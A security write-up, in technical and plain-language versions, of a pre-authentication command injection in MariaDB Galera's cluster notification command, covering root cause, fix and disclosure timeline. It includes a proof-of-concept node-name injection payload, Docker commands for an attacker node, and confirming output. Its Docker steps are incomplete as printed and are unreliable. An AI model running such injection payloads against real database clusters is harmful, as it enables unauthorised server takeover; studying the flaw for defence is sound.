MariaDB CVE-2026–49261: Pre-Authentication Remote Code Execution via `wsrep_notify_cmd`
A MariaDB Galera cluster node's name, which is controlled by the joining node, was inserted unescaped into a shell command used for cluster notifications. An attacker could join the cluster with a malicious node name and execute arbitrary OS commands on other members that had the notification command configured.
Bug Bounty Writeup
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
MariaDB's Galera Cluster lets nodes exchange membership information over the replication protocol. Administrators can configure wsrep_notify_cmd so that a script runs whenever cluster membership changes. Administrators may configure wsrep_notify_cmd so that scripts are executed whenever cluster membership changes.
The design assumption behind the feature is that node metadata received from peers is trustworthy. One of those fields, wsrep_node_name, is advertised by the joining node itself and is therefore entirely under that node's control. MariaDB later inserts the value into a shell command, which turns the field into an OS command injection primitive.
The issue was assigned CVE-2026-49261. The researcher's summary lists it as Critical, CWE-78, network attack vector, no authentication required, affecting the wsrep_notify_cmd component in Galera, with remote code execution in the context of the mysql server process.

Setup
Reproduction needs two Docker containers: one victim and one attacker. No SQL credentials are required at any point. The attack requires network access to the Galera replication port and the ability to join the cluster, and it only affects members with wsrep_notify_cmd configured.
The researcher used the mariadb:latest image for both containers.
Finding it
Distributed databases introduce attack surfaces that often do not exist in standalone deployments. The Galera notification mechanism stood out because metadata exchanged between nodes is trusted and then incorporated into operating system commands.
Two things made it look wrong. First, wsrep_node_name is supplied by the remote node, so it is attacker-controlled. Second, the notification command is executed through sh -c without proper escaping. Together, a malicious node that joins the cluster can inject shell commands through its node name, and the payload runs with the privileges of the MariaDB server process.
The high-level flow the researcher describes is:
Attacker starts malicious Galera node │ ▼Sets malicious wsrep_node_name │ ▼Victim receives cluster membership update │ ▼MariaDB builds notification command │ ▼User-controlled node name insertedwithout escaping │ ▼sh -c "<generated command>" │ ▼Arbitrary OS Command Execution
Exploitation
Step 1: control the node name
A Galera node advertises its name to every other member of the cluster. A normal value looks like:
wsrep_node_name=production-node
Because the value originates from the remote node, an attacker can supply a different one:
x; touch /tmp/PWNED_BY_ATTACKER;
The semicolons are shell command separators, so the value is not just a name once it reaches a shell. No authentication happens before this metadata is exchanged.
Step 2: notification command construction
Whenever cluster membership changes, MariaDB executes wsrep_notify_status() inside sql/wsrep_notify.cc. The command is built with snprintf():
cmd_off += snprintf( cmd_ptr + cmd_off, cmd_len - cmd_off, "%c%s/%s/%s", i > 0 ? ',' : ' ', id.str().c_str(), members[i].name().c_str(), members[i].incoming().c_str());
The critical part is members[i].name(), which is inserted directly into the shell command without escaping or validation.
Step 3: shell execution
Once the command string is complete, MariaDB launches it through sh -c using the WSREP process helper. A simplified command resembles:
/bin/true \--members uuid/victim-node/victim-node:0,\uuid/x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0
The shell treats the semicolon as a command separator, so the injected payload executes immediately.
Step 4: create the Docker network
docker network create galera-poc
Step 5: start the victim node
docker run -d \ -e MARIADB_ROOT_PASSWORD=root \ mariadb:latest \
Step 6: start the malicious node
The attacker container passes the payload as the node name:
docker run -d \ -e MARIADB_ROOT_PASSWORD=root \ mariadb:latest \ "--wsrep-node-name=x;touch /tmp/PWNED_BY_ATTACKER;#"
Step 7: verify execution
After a few seconds, inspect the victim container:
docker exec victim-node ls -l /tmp/PWNED_BY_ATTACKER
The output is:
-rw-rw---- 1 mysql mysql 0 May 22 13:25 /tmp/PWNED_BY_ATTACKER
The file is created by the victim node, which demonstrates successful remote command execution.
Evidence in the logs
The server logs show the injected payload being incorporated into the notification command:
WSREP: Notification command failed:/bin/true--status synced--members179a.../victim-node/victim-node:0,bbb3.../x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0
The malicious node name appears exactly as supplied by the attacker. The shell interprets the semicolon as a command separator and executes:
touch /tmp/PWNED_BY_ATTACKER
Root cause
The vulnerability stems from two design decisions:
- Trusting attacker-controlled cluster metadata.
- Executing notification commands through
sh -c.
Any user-controlled value passed through a shell without proper escaping can become an OS command injection primitive. The snprintf() call in sql/wsrep_notify.cc places members[i].name() into the command string with no escaping or validation, and the WSREP process helper then hands the whole string to sh -c. The researcher's root cause diagram:
Remote Node │ ▼wsrep_node_name(attacker controlled) │ ▼Cluster Membership Update │ ▼snprintf() │ ▼Notification Command │ ▼sh -c │ ▼Remote Code Execution
Impact
A remote attacker who can reach the Galera replication service can execute arbitrary operating system commands on any cluster member that has wsrep_notify_cmd configured. The commands run with the privileges of the MariaDB server process.
Potential consequences listed by the researcher include:
- Complete compromise of the database server
- Remote malware deployment
- Credential theft
- Database exfiltration
- Persistence on the host
- Lateral movement within the network
- Compromise of additional cluster members
Because the attack is pre-authentication, it significantly lowers the barrier to exploitation compared with vulnerabilities that require SQL credentials. The attack does require network access to the Galera replication port and the ability to join the cluster, and it only affects members with wsrep_notify_cmd configured.
Fix
MariaDB addressed the issue by preventing attacker-controlled metadata from reaching the shell unsafely. The researcher's recommended secure practices are:
- Properly escaping all user-controlled values.
- Validating node metadata received from peers.
- Replacing
sh -cexecution with directexecve()orposix_spawn()argument vectors. - Treating all network-supplied cluster metadata as untrusted input.
Removing the shell from the execution path eliminates this entire class of vulnerabilities. Passing arguments directly through APIs such as execve() or posix_spawn() prevents shell interpretation entirely.
Timeline
| Date | Event |
|---|---|
| May 22, 2026 | Responsible disclosure submitted to the MariaDB Security Team. |
| May 22, 2026 | MariaDB confirmed the vulnerability and marked the report as Triaged. |
| June 2, 2026 | The issue was assigned CVE-2026-49261. |
| June 2, 2026 | A security fix was completed and the report was marked Resolved. |
| August 2026 | Technical details publicly disclosed following coordinated disclosure. |
Variants to test
- Other Galera metadata fields.
- Other notification or hook commands. A positive result is a command string in logs where your supplied value appears verbatim next to a shell metacharacter.
- Different shell metacharacters. The proof of concept uses
;and#. A positive result is execution of a command you did not place in the expected argument position. - Cluster members without the hook. No notification command should be built, so no injection should occur.
- Privilege context. A positive result is a file or process owned by the MariaDB server user, as in the proof of concept where the file is owned by
mysql.
What happened, in plain words
A researcher found a way to run commands on someone else's database server without ever logging in. The trick was to join a MariaDB database cluster as a fake member and put a small piece of shell code into the name that member announces itself with. The server on the other side took that name at face value and pasted it into a command it ran on the operating system. The result was remote code execution: the attacker's command ran on the victim machine with the database server's own permissions.
The issue was given the identifier CVE-2026-49261. The researcher's summary lists it as Critical, CWE-78, network attack vector, no authentication required, affecting the wsrep_notify_cmd component in Galera, with remote code execution in the context of the mysql server process.

The pieces you need to know first
Before the attack makes sense, a few everyday ideas need to be clear.
A database is a program that stores information in an organised way, like a very large, very strict spreadsheet. Applications ask it questions ("what are the orders for this customer?") and it answers.
MariaDB is one popular, free database program. You can think of it as the software that owns the spreadsheet.
A cluster is several copies of the same database working together as one team. If one copy fails, the others keep serving. Each copy is called a node. Think of a cluster as a group chat for database servers: every member announces itself, and everyone keeps a list of who is currently in the room.
Galera is the part of MariaDB that runs that group chat. It keeps the nodes in sync and tells each node when the membership changes, for example when someone joins or leaves.
A shell is the text interface where you type commands for the operating system, such as ls to list files or touch to create an empty file. When a program wants to run an operating system command, it can either call the command directly, or hand a whole line of text to a shell and let the shell work out what to run. The second option is convenient but dangerous, because the shell treats certain characters as instructions.
A command separator is one of those characters. In a shell, a semicolon ; means "finish the previous command, then run the next one". So the text echo hello; touch /tmp/file runs two commands, not one.
A comment character is #. Everything after it on the same line is ignored by the shell. It is a way of saying "stop reading here".
Remote code execution (RCE) means an attacker can make a machine run commands of their choosing from somewhere else over the network. It is one of the most serious outcomes in security, because from there the attacker can usually do anything the program itself could do.
Pre-authentication means the attack works before any username or password is checked. The attacker does not need an account. That is what makes this one stand out: most database attacks need valid credentials first.
A CVE is a public catalogue number for a known security flaw, so that everyone can refer to the same issue unambiguously. CWE-78 is the category label for this kind of bug: OS command injection, meaning untrusted text ends up being interpreted as operating system commands.
Docker is a tool that runs small, self-contained copies of software, called containers, on one machine. It is handy for experiments because you can spin up a throwaway database server in seconds and delete it afterwards. The researcher used it to build a tiny two-node cluster on a single computer.
The feature that made it possible
MariaDB's Galera Cluster lets nodes exchange membership information over the replication protocol. Administrators can configure wsrep_notify_cmd so that a script runs whenever cluster membership changes. Administrators may configure wsrep_notify_cmd so that scripts are executed whenever cluster membership changes.
The design assumption behind the feature is that node metadata received from peers is trustworthy. One of those fields, wsrep_node_name, is advertised by the joining node itself and is therefore entirely under that node's control. MariaDB later inserts the value into a shell command, which turns the field into an OS command injection primitive.
In plain terms: the cluster trusts whatever name a new member gives itself, and then uses that name inside a command line. If the name contains shell punctuation, the shell obeys the punctuation instead of treating the name as harmless text.
Setup
Reproduction needs two Docker containers: one victim and one attacker. No SQL credentials are required at any point. The attack requires network access to the Galera replication port and the ability to join the cluster, and it only affects members with wsrep_notify_cmd configured.
The researcher used the mariadb:latest image for both containers. An image here is a ready-made package of software that Docker copies into a container when it starts.
Finding it
Distributed databases introduce attack surfaces that often do not exist in standalone deployments. A standalone database is one program on one machine; a distributed one has to talk to its peers, and every conversation between machines is a place where an outsider might slip something in. The Galera notification mechanism stood out because metadata exchanged between nodes is trusted and then incorporated into operating system commands.
Two things made it look wrong. First, wsrep_node_name is supplied by the remote node, so it is attacker-controlled. Second, the notification command is executed through sh -c without proper escaping. sh -c means "start a shell and give it this one line of text to interpret". Together, a malicious node that joins the cluster can inject shell commands through its node name, and the payload runs with the privileges of the MariaDB server process, meaning with the same rights the database program itself has on the machine.
The high-level flow the researcher describes is:
Attacker starts malicious Galera node │ ▼Sets malicious wsrep_node_name │ ▼Victim receives cluster membership update │ ▼MariaDB builds notification command │ ▼User-controlled node name insertedwithout escaping │ ▼sh -c "<generated command>" │ ▼Arbitrary OS Command Execution
Read it top to bottom as a chain of events. The attacker starts a node of their own. That node announces a name that contains shell code. The victim receives the membership update, as it would for any new member. MariaDB builds the notification command and drops the attacker's name into it without cleaning it. The finished line is handed to sh -c. The shell sees the punctuation inside the name and runs the attacker's command. Every link in the chain is normal behaviour except the missing escaping.
Exploitation
Step 1: control the node name
A Galera node advertises its name to every other member of the cluster. A normal value looks like:
wsrep_node_name=production-node
This is a configuration setting: the left side is the setting's name, the right side is the value. Here the node simply calls itself production-node, a harmless label.
Because the value originates from the remote node, an attacker can supply a different one:
x; touch /tmp/PWNED_BY_ATTACKER;
Line by line, in shell terms: x is a command that will fail because no program called x exists, which does not matter. The ; ends that command and starts a new one. touch /tmp/PWNED_BY_ATTACKER creates an empty file at that path, which is the actual payload. The final ; ends the payload. The semicolons are shell command separators, so the value is not just a name once it reaches a shell. No authentication happens before this metadata is exchanged, which is why the attack is called pre-authentication.
Step 2: notification command construction
Whenever cluster membership changes, MariaDB executes wsrep_notify_status() inside sql/wsrep_notify.cc. That is a function in the database's source code, in a file whose name says it deals with notifications. The command is built with snprintf():
cmd_off += snprintf( cmd_ptr + cmd_off, cmd_len - cmd_off, "%c%s/%s/%s", i > 0 ? ',' : ' ', id.str().c_str(), members[i].name().c_str(), members[i].incoming().c_str());
This is C code that writes text into a buffer, a fixed-size area of memory. snprintf means "write formatted text, and never write more than the space allows". The arguments, in order:
cmd_ptr + cmd_offis where to start writing, andcmd_len - cmd_offis how much room is left.cmd_offtracks how far along the buffer we already are, so each call appends after the previous text."%c%s/%s/%s"is the template.%cis a single character,%sis a piece of text, and the slashes are literal separators placed between the pieces.i > 0 ? ',' : ' 'chooses a comma between members, or a space for the first one.id.str().c_str()is the member's identifier.members[i].name().c_str()is the member's name, the field the attacker controls.members[i].incoming().c_str()is the member's incoming address.
The critical part is members[i].name(), which is inserted directly into the shell command without escaping or validation. Escaping means adding backslashes or quotes so that special characters are treated as ordinary text; validation means checking that the value looks like a name at all. Neither happens here.
Step 3: shell execution
Once the command string is complete, MariaDB launches it through sh -c using the WSREP process helper. A simplified command resembles:
/bin/true \--members uuid/victim-node/victim-node:0,\uuid/x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0
Walking through it: /bin/true is a standard program that does nothing and exits successfully; it stands in for the real notification script. --members introduces the list of cluster members. The first entry is the victim's own identifier and name. Then comes the attacker's entry, and inside it sits the injected x;touch /tmp/PWNED_BY_ATTACKER;. The shell treats the semicolon as a command separator, so the injected payload executes immediately.
Step 4: create the Docker network
docker network create galera-poc
This creates a private virtual network called galera-poc. Containers attached to the same network can reach each other by name, which is what lets the fake node talk to the victim as if they were two machines on the same LAN. Doing this first means the two containers will be able to find each other.
Step 5: start the victim node
docker run -d \ -e MARIADB_ROOT_PASSWORD=root \ mariadb:latest \
docker run starts a container. -d means run it in the background so you get your terminal back. -e MARIADB_ROOT_PASSWORD=root sets an environment variable, a configuration value passed into the container at startup; here it sets the database's root password. mariadb:latest is the image to use. This container plays the victim.
Step 6: start the malicious node
The attacker container passes the payload as the node name:
docker run -d \ -e MARIADB_ROOT_PASSWORD=root \ mariadb:latest \ "--wsrep-node-name=x;touch /tmp/PWNED_BY_ATTACKER;#"
This is the same command as before with one addition: the last argument is passed to the database program itself. --wsrep-node-name= sets the name the node announces, and the value is the payload from Step 1. The quotes around the whole argument keep your own shell from interpreting the semicolons before Docker ever sees them; the point is for the punctuation to travel intact to the victim and only be interpreted there. This container plays the attacker: it is an ordinary MariaDB node whose only unusual property is its name.
Step 7: verify execution
After a few seconds, inspect the victim container:
docker exec victim-node ls -l /tmp/PWNED_BY_ATTACKER
docker exec runs a command inside an already-running container. victim-node is the container to enter, and ls -l /tmp/PWNED_BY_ATTACKER lists that file with details. You are looking inside the victim, not the attacker, because the question is whether the victim ran the command.
The output is:
-rw-rw---- 1 mysql mysql 0 May 22 13:25 /tmp/PWNED_BY_ATTACKER
Reading the columns: the leading - means it is a regular file; rw-rw---- is who may read and write it; the two mysql entries say the file is owned by the mysql user and group, which is the account the database server runs as; 0 is the size in bytes, so the file is empty, exactly as touch creates it; then the date and the path. The file is created by the victim node, which demonstrates successful remote command execution.
Evidence in the logs
The server logs show the injected payload being incorporated into the notification command:
WSREP: Notification command failed:/bin/true--status synced--members179a.../victim-node/victim-node:0,bbb3.../x;touch /tmp/PWNED_BY_ATTACKER;#/attacker-node:0
WSREP: is the prefix MariaDB uses for messages from the Galera layer. The line records the notification command that was attempted. The malicious node name appears exactly as supplied by the attacker, sitting between the victim's entry and the rest of the member list. The shell interprets the semicolon as a command separator and executes:
touch /tmp/PWNED_BY_ATTACKER
That single line is the whole payload: create an empty file.
Root cause
The vulnerability stems from two design decisions:
- Trusting attacker-controlled cluster metadata.
- Executing notification commands through
sh -c.
Any user-controlled value passed through a shell without proper escaping can become an OS command injection primitive. The snprintf() call in sql/wsrep_notify.cc places members[i].name() into the command string with no escaping or validation, and the WSREP process helper then hands the whole string to sh -c. The researcher's root cause diagram:
Remote Node │ ▼wsrep_node_name(attacker controlled) │ ▼Cluster Membership Update │ ▼snprintf() │ ▼Notification Command │ ▼sh -c │ ▼Remote Code Execution
Follow the arrows: a remote node supplies a name, the cluster accepts the membership update, snprintf() builds the command text, the shell interprets it, and code runs. The diagram is the same chain as the attack flow, drawn from the code's point of view.
Impact
A remote attacker who can reach the Galera replication service can execute arbitrary operating system commands on any cluster member that has wsrep_notify_cmd configured. The commands run with the privileges of the MariaDB server process.
Potential consequences listed by the researcher include:
- Complete compromise of the database server
- Remote malware deployment
- Credential theft
- Database exfiltration
- Persistence on the host
- Lateral movement within the network
- Compromise of additional cluster members
In plain words: taking over the server, installing malicious software, stealing passwords, copying the data out, leaving a way back in, hopping to other machines, and infecting the rest of the cluster. Because the attack is pre-authentication, it significantly lowers the barrier to exploitation compared with vulnerabilities that require SQL credentials. The attack does require network access to the Galera replication port and the ability to join the cluster, and it only affects members with wsrep_notify_cmd configured.
Fix
MariaDB addressed the issue by preventing attacker-controlled metadata from reaching the shell unsafely. The researcher's recommended secure practices are:
- Properly escaping all user-controlled values.
- Validating node metadata received from peers.
- Replacing
sh -cexecution with directexecve()orposix_spawn()argument vectors. - Treating all network-supplied cluster metadata as untrusted input.
execve() and posix_spawn() are ways of starting a program where you hand over the program name and each argument separately, as a list, rather than as one line of text. With no line of text, there is no shell to interpret punctuation, so a semicolon in a node name stays a semicolon. Removing the shell from the execution path eliminates this entire class of vulnerabilities. Passing arguments directly through APIs such as execve() or posix_spawn() prevents shell interpretation entirely.
Timeline
| Date | Event |
|---|---|
| May 22, 2026 | Responsible disclosure submitted to the MariaDB Security Team. |
| May 22, 2026 | MariaDB confirmed the vulnerability and marked the report as Triaged. |
| June 2, 2026 | The issue was assigned CVE-2026-49261. |
| June 2, 2026 | A security fix was completed and the report was marked Resolved. |
| August 2026 | Technical details publicly disclosed following coordinated disclosure. |
Responsible disclosure means telling the vendor privately first and giving them time to fix the problem before you publish. Triaged means the vendor has reviewed the report and accepted it as a real issue. Coordinated disclosure means the details were published on an agreed schedule, after the fix was ready.
Variants to test
- Other Galera metadata fields.
- Other notification or hook commands. A positive result is a command string in logs where your supplied value appears verbatim next to a shell metacharacter.
- Different shell metacharacters. The proof of concept uses
;and#. A positive result is execution of a command you did not place in the expected argument position. - Cluster members without the hook. No notification command should be built, so no injection should occur.
- Privilege context. A positive result is a file or process owned by the MariaDB server user, as in the proof of concept where the file is owned by
mysql.
A shell metacharacter is any character the shell gives a special meaning, such as ;, #, $ or backticks. Command substitution is the shell feature where text inside backticks or $( ) is run as a command and its output is pasted back in. These variants all ask the same question in different places: does untrusted text reach a shell, and does the shell still obey it?
Glossary
- API: a defined way for one program to ask another to do something, like a service counter with fixed forms.
- Buffer: a fixed-size area of memory a program writes text into.
- Cluster: several copies of a database working together as one team.
- Command separator: a character such as
;that tells a shell to end one command and start the next. - Command substitution: a shell feature that runs text as a command and inserts its output.
- Comment character:
#, which makes a shell ignore the rest of the line. - Container: a small, self-contained running copy of software, managed by Docker.
- Coordinated disclosure: publishing details on an agreed schedule after a fix is ready.
- CVE: a public catalogue number for a known security flaw.
- CWE-78: the category label for OS command injection.
- Docker: a tool for running containers on one machine.
- Environment variable: a configuration value passed to a program when it starts.
- Escaping: marking special characters so they are treated as ordinary text.
- execve() / posix_spawn(): ways to start a program by passing its name and arguments as a list, with no shell involved.
- Galera: the part of MariaDB that keeps cluster nodes in sync and tracks membership.
- Image: a ready-made package of software that Docker copies into a container.
- MariaDB: a popular free database program.
- Node: one member of a cluster.
- OS command injection: a flaw where untrusted text is interpreted as operating system commands.
- Pre-authentication: an attack that works before any username or password is checked.
- Privileges: the rights a program or user has on a machine.
- Remote code execution (RCE): making a machine run commands of your choosing over the network.
- Responsible disclosure: telling a vendor privately about a flaw and giving them time to fix it.
- Shell: the text interface where you type commands for the operating system.
- sh -c: starting a shell and giving it one line of text to interpret.
- snprintf(): a C function that writes formatted text into a buffer without overflowing it.
- Triaged: a vendor has reviewed a report and accepted it as a real issue.
- Validation: checking that a value has an acceptable shape before using it.
- wsrep_node_name: the name a Galera node announces to the rest of the cluster.
- wsrep_notify_cmd: the MariaDB setting that names a script to run when cluster membership changes.